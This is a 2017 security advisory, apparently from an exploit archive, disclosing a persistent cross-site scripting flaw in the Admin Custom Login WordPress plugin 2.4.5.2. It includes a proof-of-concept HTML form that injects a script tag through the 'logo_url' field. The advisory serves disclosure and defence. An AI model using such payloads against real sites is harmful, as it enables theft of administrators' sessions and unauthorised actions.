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WordPress Admin Custom Login 2.4.5.2 Cross Site Scripting

WordPress Admin Custom Login 2.4.5.2 Cross Site Scripting
Posted Mar 1, 2017
Authored by Securify B.V., Burak Kelebek

WordPress Admin Custom Login plugin version 2.4.5.2 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 6d78f22f7c67f695ae49fc60ee47fad5693fd927af00a1ecb56df1fdaf5bd89c

WordPress Admin Custom Login 2.4.5.2 Cross Site Scripting

Change Mirror Download
------------------------------------------------------------------------
Admin Custom Login WordPress plugin affected by persistent Cross-Site
Scripting via Logo URL field
------------------------------------------------------------------------
Burak Kelebek, July 2016

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Abstract
------------------------------------------------------------------------
A persistent Cross-Site Scripting vulnerability has been encountered in
the Admin Custom Login WordPress plugin. This issue allows an attacker
to perform a wide variety of actions, such as stealing Administrators'
session tokens, or performing arbitrary actions on their behalf. The
"logo_url" field does not validate <script> tags and does not perform
output encoding.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160712-0002

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was succesfully tested on the Admin Custom Login WordPress
plugin version 2.4.5.2.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/admin_custom_login_wordpress_plugin_affected_by_persistent_cross_site_scripting_via_logo_url_field.html

As an admin, it's possible to upload a logo on the login page. The "logo_url" field does not validate <script> tags and does not perform output encoding.

Proof of concept

<html>
<body>
<form action="http://<target>/wp-admin/options-general.php?page=admin_custom_login" method="POST">
<input type="hidden" name="Action" value="logoSave"/>
<input type="hidden" name="logo_image" value="http://<target>/wp-content/uploads/2016/06/scriptalert1script.jpeg"/>
<input type="hidden" name="logo_width" value="200"/>
<input type="hidden" name="logo_height" value="60"/>
<input type="hidden" name="logo_url" value=""><script>alert(1)</script>"/>
<input type="hidden" name="logo_url_title" value="\\\\"/>
<input type="submit"/>
</form>
</body>
</html>

After this request is executed, re-open the admin panel of WordPress and visit the Admin Custom Login page.


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